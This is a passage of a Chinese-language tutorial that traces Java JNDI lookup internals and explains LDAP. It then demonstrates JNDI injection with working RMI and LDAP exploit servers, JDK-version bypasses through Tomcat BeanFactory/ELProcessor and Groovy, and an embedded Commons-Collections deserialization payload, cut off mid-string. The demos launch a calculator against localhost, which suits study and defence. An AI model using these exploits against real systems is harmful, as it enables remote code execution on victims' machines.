+也是毫不意外地调用了 this.registry.lookup 方法,也即 RegistryImpl\_Stub 的 lookup 方法。 + +至于这里为什么要调用 lookup 方法,是这样的:getRootURLContext 方法的返回值不是有两个属性嘛,一个 resolvedObj ,一个 remainingName : + +![](https://changeyourway.github.io/images/QQ_1725103006128.png) + +resolvedObj 代表的含义就是已解析的对象(即部分路径对应的上下文对象),而 remainingName 表示尚未解析的路径部分,那么这里调用 lookup 方法就是为了完成对剩余路径部分的解析,利用已经获取的上下文对象 RegistryImpl\_Stub 来获取剩余路径所指代的对象。就好比说先获取 DNS 的顶级域名,再从顶级域名中获取二级域名嘛。 + +JNDI 的命名系统通常是分层次的,每层可能由不同的命名上下文负责。例如,在一个典型的 URL 路径中,前面的一部分路径可能已经解析到一个特定的上下文对象,但后面的一部分路径仍需要进一步解析。 + +至此,我们就完成了对上下文对象的初始化,获取到了 Context 对象。 + +###### 调用链总结 + +以调用 RMI 服务为例,总结一下调用链,用 -> 表示同一个方法中的不同分支: + +``` +InitialContext#InitialContext(Hashtable) +InitialContext#init(Hashtable) + -> ResourceManager#getInitialEnvironment(Hashtable) # 获取环境变量 + -> InitialContext#getDefaultInitCtx() + NamingManager#getInitialContext(Hashtable) + RegistryContextFactory#getInitialContext(Hashtable) + RegistryContextFactory#URLToContext(String, Hashtable) + rmiURLContextFactory#getObjectInstance(Object, Name, Context, Hashtable) + rmiURLContextFactory#getUsingURL(String, Hashtable) + GenericURLContext#lookup(String) + -> rmiURLContext#getRootURLContext(String, Hashtable) + RegistryContext#RegistryContext(String, int, Hashtable) + RegistryContext#getRegistry(String, int, RMIClientSocketFactory) + LocateRegistry#getRegistry(String, int) # 获取 RegistryImpl_Stub 对象 + -> RegistryContext#lookup(Name) + RegistryImpl_Stub#lookup(String) # 进一步解析剩余路径 +``` + +### 查找远程对象 + +跟进 initialContext.lookup 方法: + +![](https://changeyourway.github.io/images/QQ_1725106323011.png) + +这里是先调用 getURLOrDefaultInitCtx 方法获取一个对象,然后再调用该对象的 lookup 方法。 + +跟进 InitialContext 的 getURLOrDefaultInitCtx 方法: + +![](https://changeyourway.github.io/images/QQ_1725106511808.png) + +第一步调用 NamingManager.hasInitialContextFactoryBuilder 检查是否已经存在一个初始上下文工厂构建器,这一步是没有的,不进入判断。 + +继续往下,调用 getURLScheme 提取传入字符串的 URL 链接开头部分,比如 “rmi”,”ldap” : + +![](https://changeyourway.github.io/images/QQ_1725106983919.png) + +因为字符串并不包含 URL 部分,所以这里返回空。 + +既然返回空值的话,就不会进入判断了,最后调用 getDefaultInitCtx 方法并返回。 + +跟进 InitialContext 的 getDefaultInitCtx 方法: + +![](https://changeyourway.github.io/images/QQ_1725107374037.png) + +这个方法先前在初始化上下文的时候已经进入过一次,将 gotDefault 设置为 true ,所以直接返回。 + +这里的 defaultInitCtx 是 RegistryContext 对象: + +![](https://changeyourway.github.io/images/QQ_1725109973809.png) + +所以返回后就进入 RegistryContext 的 lookup 方法: + +![](https://changeyourway.github.io/images/QQ_1725110084570.png) + +这里就继续调用了 RegistryContext#lookup(Name) 方法,跟进它: + +![](https://changeyourway.github.io/images/QQ_1725110150913.png) + +之后的路子就熟了,依然是调用 RegistryImpl\_Stub 的 lookup 方法。 + +###### 调用链总结 + +``` +initialContext#lookup(String) + -> initialContext#getURLOrDefaultInitCtx(String) + -> initialContext#getURLScheme(String) # 获取协议部分 + NamingManager#getURLContext(String, Hashtable) + -> initialContext#getDefaultInitCtx() # 获取 RegistryContext 对象 + -> RegistryContext#lookup(String) + RegistryContext#lookup(Name) + RegistryImpl_Stub#lookup(Name) # 查找远程对象 +``` + +### JNDI 动态协议转换 + +###### 代码示例 + +事实上,在查找远程对象的时候,可以直接传入完整的 URL 链接,这样它会自动调用对应的协议,请求对应的地址,而不需要再手动设置属性,客户端代码如下: + +``` +public class Client { + public static void main(String[] args) throws Exception { + //初始化上下文 + Context initialContext = new InitialContext(); + //调用远程类 + SayHelloInterface sayhello = (SayHelloInterface) initialContext.lookup("rmi://127.0.0.1:1099/SayHello"); + System.out.println(sayhello.function("test")); + + } +} +``` + +显然这是一种更简便的 JNDI 调用方式。 + +###### 源码分析 + +在查找远程对象时,通过 InitialContext 的 getURLScheme 方法就能提取出其中的协议部分: + +![](https://changeyourway.github.io/images/QQ_1725107852805.png) + +这时获取到的 scheme 就是字符串 “rmi” 。 + +随后调用 NamingManager.getURLContext 方法,跟进它: + +![](https://changeyourway.github.io/images/QQ_1725108263515.png) + +调用 NamingManager 的 getURLObject 方法,继续跟进: + +![](https://changeyourway.github.io/images/QQ_1725109108360.png) + +最核心的就是通过 ResourceManager.getFactory 方法获取一个工厂类对象,这里获取的对象是由传入的 scheme 决定的,对象的类名就是 scheme + “URLContextFactory” ,那么这里获取到的是 rmiURLContextFactory 对象。 + +最后调用 factory.getObjectInstance 获取了一个 rmiURLContext 对象并将其返回: + +![](https://changeyourway.github.io/images/QQ_1725109173862.png) + +那么回到 InitialContext 的 getURLOrDefaultInitCtx 方法,最后返回的就是这个 rmiURLContext 对象: + +![](https://changeyourway.github.io/images/QQ_1725109284349.png) + +所以之后调用的是 rmiURLContext 的 lookup 方法: + +![](https://changeyourway.github.io/images/QQ_1725109301609.png) + +然而 rmiURLContext 并没有重写 lookup 方法,所以调用的是父类 GenericURLContext 的 lookup 方法。 + +后续的流程跟前面是一样的。 + +###### 调用链总结 + +``` +initialContext#lookup(String) + -> initialContext#getURLOrDefaultInitCtx(String) + -> initialContext#getURLScheme(String) # 获取协议部分 + -> NamingManager#getURLContext(String, Hashtable) + NamingManager#getURLObject(String, Object, Name, Context, Hashtable) + ResourceManager#getFactory(String, Hashtable, Context, String, String) + rmiURLContextFactory#getObjectInstance(Object, Name, Context, Hashtable) + rmiURLContext#rmiURLContext(Hashtable) # 获取 rmiURLContext 对象 + -> GenericURLContext#lookup(String) + -> rmiURLContext#getRootURLContext(String, Hashtable) + RegistryContext#RegistryContext(String, int, Hashtable) + RegistryContext#getRegistry(String, int, RMIClientSocketFactory) + LocateRegistry#getRegistry(String, int) # 获取 RegistryImpl_Stub 对象 + -> RegistryContext#lookup(Name) + -> RegistryImpl_Stub#lookup(String) # 获取远程对象 + -> RegistryContext#decodeObject(Remote, Name) + NamingManager#getObjectInstance(Object, Name, Context, Hashtable) # 实例化远程对象 +``` + +## JNDI Reference 类 + +在 JNDI 中,Reference 类用于表示对那些不直接存储在命名或目录系统中的对象的引用。也就是说,当对象本身无法被序列化并存储在目录中时,Reference 提供了一种方式,通过包含足够的信息以便在需要时重新构建该对象。 + +例如,当你通过 RMI(远程方法调用)获取一个远程服务上的对象时,客户端实际上得到的是一个对象的存根(stub)。这个对象本身可能并不直接存在于客户端的命名或目录系统中,但通过 Reference ,客户端可以包含必要的信息,从其他服务器加载类文件并实例化对象。 + +Reference 类位于 javax.naming 包中,主要有以下几个构造方法: + +``` +public Reference(String className, String factory, String factoryLocation) +public Reference(String className) +public Reference(String className, Vector addrs, String factory, String factoryLocation) +``` + +参数解释: + +1. 类名(Class Name):指定了引用的对象的完全限定类名。它告诉 JNDI 在实例化对象时需要加载哪个类。 +2. 工厂类名(Factory Class Name):指定了用于重新构建对象的工厂类。这个工厂类必须实现 javax.naming.spi.ObjectFactory 接口。 +3. 地址列表(Address List):包含了一组 RefAddr(引用地址),这些地址携带了重建对象所需的各种信息。常见的 RefAddr 子类包括 StringRefAddr 、SerialRefAddr 等。 + +## LDAP 协议 + +LDAP(Lightweight Directory Access Protocol,轻量级目录访问协议)是一种应用层协议,用于访问和维护分布式目录信息服务,其默认端口是 389 。LDAP 广泛应用于目录服务中,用于查询和管理用户、设备、应用程序等信息。LDAP 通常用于验证用户身份,并存储与组织、用户及其他资源相关的详细信息。 + +###### LDAP 协议的基本概念 + +1. **目录服务**: 目录服务是一个存储和组织数据的分层结构,类似于文件系统中的目录结构。它存储有关用户、计算机、网络资源等的信息,并允许用户和应用程序通过 LDAP 协议来查询和管理这些信息。 + +2. **条目(Entry)**: LDAP 目录中的基本数据单位,每个条目由一组属性及其对应的值组成。每个条目都有一个唯一的区分名称(Distinguished Name, DN),用来唯一标识条目在目录树中的位置。 + +3. **区分名称(DN)**: DN 是 LDAP 中条目的唯一标识符。它类似于文件路径,包含了从根到条目的所有层次信息。DN 由多个相对区分名称(RDN, Relative Distinguished Name)组成。 + + 例如,“uid=john.doe” 表示由名为 “uid” 且值为 “john.doe” 的属性组成的 RDN 。如果 RDN 有多个属性值对,则用加号分隔,例如 “givenName=John+sn=Doe” ; + + 一个 DN 通常由多个 RDN 组成,例如,DN “uid=john.doe,ou=People,dc=example,dc=com” 有四个 RDN ; + + 右边的范围比左边的范围大,左边的 RDN 是右边 RDN 的子集,例如,DN “uid=john.doe,ou=People,dc=example,dc=com” 的父 DN 为 “ou=People,dc=example,dc=com” 。 + +4. **属性(Attribute)**: 每个条目由若干属性组成,属性包含属性类型和属性值。例如,cn(common name, 通用名)、mail(电子邮件地址)、uid(用户ID)等都是属性类型,属性值则是对应的实际数据。 + +5. **对象类(Object Class)**: 每个 LDAP 条目都有一个或多个对象类,定义了条目中允许出现的属性类型。对象类决定了条目的结构和内容。常见的对象类包括 inetOrgPerson 、organizationalUnit 等。 + + +###### LDAP 数据模型 + +LDAP 采用树状结构(即目录信息树,DIT)来组织和存储数据。树的每个节点代表一个条目,条目之间的层次关系由它们的DN来表示。例如: + +``` +dc=example,dc=com +├── ou=People +│ ├── cn=John Doe +│ ├── cn=Jane Smith +├── ou=Groups +│ ├── cn=Admins +``` + +- `dc=example,dc=com`:目录的根条目,`dc` 表示域组件(Domain Component)。 +- `ou=People`:表示一个组织单元(Organizational Unit),用于存放用户信息。 +- `cn=John Doe`:表示用户 “John Doe” 的条目,`cn` 表示通用名(Common Name)。 + +###### LDAP 协议操作 + +LDAP 协议定义了多个操作来查询和管理目录中的条目。主要操作包括: + +1. **绑定(Bind)**: 客户端与 LDAP 服务器建立连接并进行身份验证。绑定操作可以是匿名的,也可以使用用户名和密码进行身份验证。 +2. **搜索(Search)**: 客户端可以在目录中搜索特定的条目,搜索操作可以通过指定 DN 、搜索范围、过滤条件等来精确查找。 +3. **比较(Compare)**: 比较操作用于检查某个条目中的某个属性值是否与给定值匹配。 +4. **添加(Add)**: 向目录中添加新的条目。 +5. **删除(Delete)**: 删除指定的条目。 +6. **修改(Modify)**: 修改条目的属性,可以添加、删除或替换属性值。 +7. **修改 DN(Modify DN)**: 改变条目的 DN ,从而改变条目在目录树中的位置。 +8. **解除绑定(Unbind)**: 客户端通知 LDAP 服务器终止会话,关闭连接。 + +###### LDAP 报文结构 + +LDAP 协议是基于 TCP/IP 的,其消息结构通常使用 BER(Basic Encoding Rules)编码。下面是 LDAP 请求和响应消息中的一些主要字段: + +1. **消息 ID**:每个 LDAP 消息都有一个唯一的消息 ID ,用于在请求和响应之间进行匹配。 +2. **操作代码**:指示 LDAP 消息的类型,例如 `BindRequest`、`SearchRequest`、`ModifyRequest` 等。 +3. **DN(Distinguished Name)**:用于指定操作所作用的目标条目。 +4. **属性和值**:用于指定要查询、添加、修改或删除的属性及其值。 +5. **搜索范围**:用于指定搜索操作的范围,如 `base` 、`oneLevel` 、`subtree` 。 +6. **过滤器(Filter)**:在搜索操作中使用的过滤条件,用于限定搜索结果,例如 `(cn=John Doe)` 表示查询 `cn` 属性等于 “John Doe” 的条目。 +7. **结果代码(Result Code)**:LDAP响应消息中的结果代码,用于表示操作的结果,如 `success`(成功)、`noSuchObject`(无此对象)、`invalidCredentials`(凭证无效)等。 + +###### LDAP 主要字段含义 + +以下是 LDAP 消息中常见字段的含义: + +- **messageID**:区分每个 LDAP 操作的标识符,确保请求和响应能够正确对应。 +- **protocolOp**:指示 LDAP 操作类型,如 `bindRequest`、`searchRequest` 等。 +- **dn**:目标条目的 DN 。 +- **attributes**:在 LDAP 操作中,定义要添加、修改、删除或查询的属性名称和属性值。 +- **filter**:在 `searchRequest` 中定义的过滤器,用于指定搜索的条件。 +- **resultCode**:操作结果的状态码,标示操作成功或失败的类型。 + +比如一个请求消息: + +``` +LDAPMessage { + messageID: 1 + protocolOp: bindRequest { + version: 3 + name: "cn=admin,dc=example,dc=com" + authentication: simple { + credentials: "admin_password" + } + } +} +``` + +对应的响应信息: + +``` +LDAPMessage { + messageID: 1 + protocolOp: bindResponse { + resultCode: success (0) + matchedDN: "" + diagnosticMessage: "" + } +} +``` + +###### 总结 + +LDAP 是一种用于访问和管理目录服务的协议。它通过一系列操作来允许客户端查询和管理目录中的条目,每个条目由一组属性组成,并使用 DN 进行唯一标识。LDAP 协议的灵活性和广泛应用使其成为身份验证、访问控制等领域的标准协议之一。 + +## JNDI 注入 + +JNDI 注入的前提是能操作客户端 lookup 方法或其他远程操作方法的参数。 + +### JNDI + RMI + +实现方法很简单,我们先在 RMI 服务器上绑定一个 Reference 类,服务端代码如下: + +``` +import com.sun.jndi.rmi.registry.ReferenceWrapper; + +import javax.naming.NamingException; +import javax.naming.Reference; +import java.io.IOException; +import java.rmi.AlreadyBoundException; +import java.rmi.registry.LocateRegistry; +import java.rmi.registry.Registry; + +public class JndiRmiTest { + public static void main(String[] args) throws IOException, AlreadyBoundException, InterruptedException, NamingException { + // 创建一个 Reference 对象 + Reference reference = new Reference("EvilClass", "EvilClass", "http://127.0.0.1:8002/"); + // 用 ReferenceWrapper 包装 Reference 对象,使其继承 UnicastRemoteObject 类 + ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference); + // 将 RMI 服务注册到 1099 端口 + Registry registry = LocateRegistry.createRegistry(1099); + // 绑定 Reference 对象 + registry.rebind("EvilClass", referenceWrapper); + } +} +``` + +前面说了 Reference 构造方法的三个参数,那么就知道这个 EvilClass 就是 Reference 中指定的远程类名,EvilClass 同时也作为工厂类名,所以它要实现 javax.naming.spi.ObjectFactory 接口。EvilClass 代码如下: + +``` +import javax.naming.Context; +import javax.naming.Name; +import javax.naming.spi.ObjectFactory; +import java.io.IOException; +import java.util.Hashtable; + +public class EvilClass implements ObjectFactory { + static { + try { + Runtime.getRuntime().exec("calc"); + } catch (IOException e) { + throw new RuntimeException(e); + } + } + + @Override + public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable environment) throws Exception { + return null; + } +} +``` + +此外我们知道,要在 RMI 服务上绑定远程对象,这个远程对象需要继承 UnicastRemoteObject 类,那么可以将 Reference 对象封装进 ReferenceWrapper 中,使其继承 UnicastRemoteObject 类,可以看一下 ReferenceWrapper 的定义: + +![](https://changeyourway.github.io/images/image-20240903130853020.png) + +需要注意的是:com.sun.jndi.rmi.registry.ReferenceWrapper 在新版本的 JDK 中被移除,需要额外引入对应 jar 包。这里的 JDK 版本为 8u71。 + +最后是客户端代码,只要去请求 RMI 服务端即可: + +``` +import javax.naming.Context; +import javax.naming.InitialContext; +import java.util.Hashtable; + +public class Client { + public static void main(String[] args) throws Exception { + //初始化上下文 + Context initialContext = new InitialContext(); + //调用远程类 + SayHelloInterface sayhello = (SayHelloInterface) initialContext.lookup("rmi://127.0.0.1:1099/EvilClass"); + + } +} +``` + +Reference 对象会先去本地查找对应的类是否存在,如果不存在,才会去 factoryLocation 指定的 URL 查找。故而为了体现出是远程加载,我将 EvilClass.class 文件放在其他目录下,再利用 python 开启 http 服务器(注意,此时客户端是不能直接访问到 EvilClass 类的)。 + +先开启 http 服务器,再开启 rmi 服务端,最后开启客户端,成功弹出计算器,并且 http 服务器上有对应的日志记录: + +![](https://changeyourway.github.io/images/image-20240903205544943.png) + +原理就是客户端去请求了 RMI 服务端地址,获取了 ReferenceWrapper 对象,然后又根据其中封装的 Reference 对象的 factoryLocation 属性去请求了远程对象所在的地址,最终造成客户端反序列化。 + +### JNDI + LDAP + +LDAP 服务端需要设置好如下的四个属性,代表远程对象的引用: + +``` +ObjectClass: javaNamingReference +javaCodebase: http://localhost:5000/ +JavaFactory: EvilClass +javaClassName: FooBar +``` + +这其实也是 Reference 类的一种利用方式。 + +我们利用 Java 开启一个 LDAP 服务器,需要的依赖如下: + +``` + + + com.unboundid + unboundid-ldapsdk + 6.0.7 + +``` + +LDAP 服务端代码如下: + +``` +import com.unboundid.ldap.listener.InMemoryDirectoryServer; +import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig; +import com.unboundid.ldap.listener.InMemoryListenerConfig; +import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; +import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor; +import com.unboundid.ldap.sdk.Entry; +import com.unboundid.ldap.sdk.LDAPException; +import com.unboundid.ldap.sdk.LDAPResult; +import com.unboundid.ldap.sdk.ResultCode; +import javax.net.ServerSocketFactory; +import javax.net.SocketFactory; +import javax.net.ssl.SSLSocketFactory; +import java.net.InetAddress; +import java.net.MalformedURLException; +import java.net.URL; + +public class ldapServer { + private static final String LDAP_BASE = "dc=example,dc=com"; + public static void main (String[] args) { + String url = "http://127.0.0.1:8002/#EvilClass"; + int port = 10389; + try { + InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE); + config.setListenerConfigs(new InMemoryListenerConfig( + "listen", + InetAddress.getByName("0.0.0.0"), + port, + ServerSocketFactory.getDefault(), + SocketFactory.getDefault(), + (SSLSocketFactory) SSLSocketFactory.getDefault())); + + config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url))); + InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config); + System.out.println("Listening on 0.0.0.0:" + port); + ds.startListening(); + } + catch ( Exception e ) { + e.printStackTrace(); + } + } + private static class OperationInterceptor extends InMemoryOperationInterceptor { + private URL codebase; + /** + * */ public OperationInterceptor ( URL cb ) { + this.codebase = cb; + } + /** + * {@inheritDoc} + * * @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult) + */ @Override + public void processSearchResult ( InMemoryInterceptedSearchResult result ) { + String base = result.getRequest().getBaseDN(); + Entry e = new Entry(base); + try { + sendResult(result, base, e); + } + catch ( Exception e1 ) { + e1.printStackTrace(); + } + } + protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException { + URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class")); + System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl); + String cbstring = this.codebase.toString(); + int refPos = cbstring.indexOf('#'); + if ( refPos > 0 ) { + cbstring = cbstring.substring(0, refPos); + } + e.addAttribute("javaClassName", "Exploit"); + e.addAttribute("javaCodeBase", cbstring); + e.addAttribute("objectClass", "javaNamingReference"); + e.addAttribute("javaFactory", this.codebase.getRef()); + result.sendSearchEntry(e); + result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); + } + + } +} +``` + +客户端代码如下: + +``` +import javax.naming.Context; +import javax.naming.InitialContext; + +public class ldapClient { + public static void main(String[] args) throws Exception { + //初始化上下文 + Context initialContext = new InitialContext(); + //调用远程类 + initialContext.lookup("ldap://127.0.0.1:10389/EvilClass"); + + } +} +``` + +同样确保客户端访问不到 EvilClass 类文件,是可以远程加载的。 + +## JDK 高版本绕过 + +### RMI 高版本绕过 + +在 JDK 8u121、7u131、6u141 版本之后,默认不信任远程代码,无法加载 RMI 远程对象。此时再运行上面 JNDI + RMI 的代码则会爆出如下错误: + +![](https://changeyourway.github.io/images/image-20240904123125191.png) + +需要添加以下参数才能成功运行: + +``` +com.sun.jndi.rmi.object.trustURLCodebase=true +``` + +那么我直接在客户端代码中设置系统属性: + +``` +System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true"); +``` + +在 JDK 8u392 的环境中,运行后成功获取 RMI 远程对象,但是并没有去 Reference 指定的 URL 中获取远程对象,最终获取的是空值,所以也没有成功执行命令。 + +回到正题,JDK 高版本之后,原本用于实例化远程对象的 RegistryContext#decodeObject 现在多了一条判断机制: + +![](https://changeyourway.github.io/images/image-20240904190359616.png) + +也就是说想要成功实例化对象,要不就 Reference 对象为空,要不就 Reference 对象的 classFactoryLocation 属性为空,要不就系统属性 com.sun.jndi.rmi.object.trustURLCodebase 设置为 true 。 + +目前最好利用的是第二种情况,Reference 对象的 classFactoryLocation 属性为空,也就是说,RMI 服务端在绑定 Reference 对象时,不能够指定获取工厂类的远程地址,那么客户端就只能从本地获取工厂类。如果能从客户端加载合适的工厂类,依然可以达成目的。 + +#### BeanFactory 类 + +说到客户端本地的工厂类,org.apache.naming.factory.BeanFactory 是比较常用的工厂类之一,这个类存在于 Tomcat 8 环境中。 + +在测试环境下,为客户端添加如下依赖: + +``` + + org.apache.tomcat + tomcat-catalina + 8.5.0 + + + org.apache.tomcat + tomcat-jasper-el + 8.5.0 + +``` + +RMI 服务端代码如下: + +``` +import com.sun.jndi.rmi.registry.ReferenceWrapper; +import org.apache.naming.ResourceRef; + +import javax.naming.StringRefAddr; +import java.rmi.registry.LocateRegistry; +import java.rmi.registry.Registry; + +public class TomcatRmiServer { + public static void main(String[] args) throws Exception { + Registry registry = LocateRegistry.createRegistry(1099); + ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor", (String)null, "", "", true, "org.apache.naming.factory.BeanFactory", (String)null); + resourceRef.add(new StringRefAddr("forceString", "test=eval")); + resourceRef.add(new StringRefAddr("test", "Runtime.getRuntime().exec(\"calc\")")); + ReferenceWrapper referenceWrapper = new ReferenceWrapper(resourceRef); + registry.bind("Tomcat8bypass", referenceWrapper); + System.out.println("Registry运行中......"); + + } +} +``` + +受害者客户端代码如下: + +``` +import javax.naming.InitialContext; + +public class TomcatRmiClient { + public static void main(String[]args) throws Exception{ + String string = "rmi://localhost:1099/Tomcat8bypass"; + InitialContext initialContext = new InitialContext(); + initialContext.lookup(string); + } +} +``` + +运行后成功弹出计算器。 + +接下来说一下服务端代码为什么这么写。 + +#### 原理分析 + +运行服务端代码,调试客户端代码。 + +在 JNDI 动态协议转换的调用链最后,我们来到了 NamingManager#getObjectInstance 方法,而在这个方法中最终会调用 BeanFactory 的 getObjectInstance 方法: + +![](https://changeyourway.github.io/images/image-20240905180127975.png) + +跟进 BeanFactory 的 getObjectInstance 方法: + +![](https://changeyourway.github.io/images/image-20240905180447349.png) + +首先就会判断传入的 obj 对象是否是 ResourceRef 类的实例,这就是服务端代码封装一个 ResourceRef 对象的原因。 + +接下来获取 ResourceRef 其中的 forceString 属性值,也就是 “test=eval” ,将等号作为分隔符分隔字符串,setterName 获取了等号右边的部分,也就是 eval ,而 param 获取了等号左边的部分 test 。最后将它们 put 进一个 HashMap 里面: + +![](https://changeyourway.github.io/images/image-20240905180852100.png) + +接下来就是遍历 ref 的所有属性,获取除了 scope、auth、forceString、singleton 以外的属性。这里获取到 test 属性,其值是 `Runtime.getRuntime().exec("calc")` ,也就是我们一开始设置的那个属性。 + +![](https://changeyourway.github.io/images/image-20240906124955341.png) + +由于 HashMap 对象 forced 中存在键 test -> eval ,这里获取的 method 自然不为空,于是在这里就执行了 calc 命令: + +![](https://changeyourway.github.io/images/image-20240906125300326.png) + +在这里就可以看出:BeanFactory 这个类实际上允许执行任意类的任意方法,而服务端代码选用了 javax.el.ELProcessor 的 eval 方法,参数就是 Runtime.getRuntime().exec(“calc”) ,来命令执行。 + +#### Groovy + +Groovy 是一种面向对象的动态脚本语言,运行在 Java 虚拟机 (JVM) 上,具备与 Java 无缝集成的特性。在 Groovy 中,@ASTTest 是一种用于抽象语法树(AST)测试的特殊注解。它允许我们在编译阶段对代码的 AST(Abstract Syntax Tree,抽象语法树)进行断言和检查。也就是说在生成字节码之前,可以通过 @ASTTest 下断言执行代码。 + +Groovy 中的 AST 是在编译过程中对代码结构的中间表示。编译器将源代码转换为 AST 后,再生成字节码。 + +利用方式还是用 BeanFactory 类调用 GroovyClassLoader 类的 parseClass 方法,执行一个 Groovy 脚本。 + +服务端代码如下: + +``` +package GroovyRmi; + +import com.sun.jndi.rmi.registry.ReferenceWrapper; +import org.apache.naming.ResourceRef; +import javax.naming.NamingException; +import javax.naming.StringRefAddr; +import java.rmi.AlreadyBoundException; +import java.rmi.RemoteException; +import java.rmi.registry.LocateRegistry; +import java.rmi.registry.Registry; + +public class GroovyRmiServer { + + public static void main(String[] args) throws NamingException, RemoteException, AlreadyBoundException { + Registry registry = LocateRegistry.createRegistry(1099); + ResourceRef resourceRef = new ResourceRef("groovy.lang.GroovyClassLoader", null, "", "", true,"org.apache.naming.factory.BeanFactory",null); + resourceRef.add(new StringRefAddr("forceString", "faster=parseClass")); + String script = String.format("@groovy.transform.ASTTest(value={\nassert java.lang.Runtime.getRuntime().exec(\"%s\")\n})\ndef faster\n", "calc"); + resourceRef.add(new StringRefAddr("faster",script)); + ReferenceWrapper referenceWrapper = new ReferenceWrapper(resourceRef); + registry.bind("Groovy2bypass", referenceWrapper); + System.out.println("Registry运行中......"); + } +} +``` + +### LDAP 高版本绕过 + +JDK 11.0.1、8u191、7u201、6u211 版本之后,默认禁用了远程类加载,需要将 `com.sun.jndi.ldap.object.trustURLCodebase` 设置为 true 才能解除限制,那么通过设置 codebase 远程加载的方式就显得有些鸡肋了。 + +#### 序列化存储 + +LDAP 除了通过类似 codebase 的方式存储远程对象的信息外,还可以直接存储对象的序列化数据,只需要设置以下两个属性即可: + +``` +javaSerializedData: aced00573… +javaClassName: Exploit +``` + +以 CC6 为例,我们先生成一段编码后的 CC6 的序列化数据,然后将其添加到 LDAP 的属性中。LDAP 服务端代码如下: + +``` +import com.unboundid.ldap.listener.InMemoryDirectoryServer; +import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig; +import com.unboundid.ldap.listener.InMemoryListenerConfig; +import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; +import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor; +import com.unboundid.ldap.sdk.Entry; +import com.unboundid.ldap.sdk.LDAPException; +import com.unboundid.ldap.sdk.LDAPResult; +import com.unboundid.ldap.sdk.ResultCode; + +import javax.net.ServerSocketFactory; +import javax.net.SocketFactory; +import javax.net.ssl.SSLSocketFactory; +import java.net.InetAddress; +import java.net.MalformedURLException; +import java.net.URL; +import java.util.Base64; + +public class ldapServerSerialize { + private static final String LDAP_BASE = "dc=example,dc=com"; + public static void main (String[] args) { + String url = "http://127.0.0.1:8002/#EvilClass"; + int port = 10389; + try { + InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE); + config.setListenerConfigs(new InMemoryListenerConfig( + "listen", + InetAddress.getByName("0.0.0.0"), + port, + ServerSocketFactory.getDefault(), + SocketFactory.getDefault(), + (SSLSocketFactory) SSLSocketFactory.getDefault())); + + config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url))); + InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config); + System.out.println("Listening on 0.0.0.0:" + port); + ds.startListening(); + } + catch ( Exception e ) { + e.printStackTrace(); + } + } + private static class OperationInterceptor extends InMemoryOperationInterceptor { + private URL codebase; + /** + * */ public OperationInterceptor ( URL cb ) { + this.codebase = cb; + } + /** + * {@inheritDoc} + * * @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult) + */ @Override + public void processSearchResult ( InMemoryInterceptedSearchResult result ) { + String base = result.getRequest().getBaseDN(); + Entry e = new Entry(base); + try { + sendResult(result, base, e); + } + catch ( Exception e1 ) { + e1.printStackTrace(); + } + } + protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException { + URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class")); + System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl); + String cbstring = this.codebase.toString(); + int refPos = cbstring.indexOf('#'); + if ( refPos > 0 ) { + cbstring = cbstring.substring(0, refPos); + } + String base64Data = "rO0ABXNyABFqYXZhLnV0" + + "aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAA" + + "Ax3CAAAABAAAAABc3IANG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5rZXl2YWx1ZS5" + + "UaWVkTWFwRW50cnmKrdKbOcEf2wIAAkwAA2tleXQAEkxqYXZhL2xhbmcvT2JqZWN0O0wAA21h" + + "cHQAD0xqYXZhL3V0aWwvTWFwO3hwdAADa2V5c3IAKm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZ" + + "WN0aW9ucy5tYXAuTGF6eU1hcG7llIKeeRCUAwABTAAHZmFjdG9yeXQALExvcmcvYXBhY2hlL2Nv" + + "bW1vbnMvY29sbGVjdGlvbnMvVHJhbnNmb3JtZXI7eHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmN" + + "vbGxlY3Rpb25zLmZ1bmN0b3JzLkNoYWluZWRUcmFuc2Zvcm1lcjDHl+woepcEAgABWwANaVRyYW5" + + "zZm9ybWVyc3QALVtMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3h" + + "wdXIALVtMb3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLlRyYW5zZm9ybWVyO71WKvHYNBiZA" + + "gAAeHAAAAAEc3IAO29yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5Db25zdG" + + "FudFRyYW5zZm9ybWVyWHaQEUECsZQCAAFMAAlpQ29uc3RhbnRxAH4AA3hwdnIAEWphdmEubGFuZy5" + + "SdW50aW1lAAAAAAAAAAAAAAB4cHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVu" + + 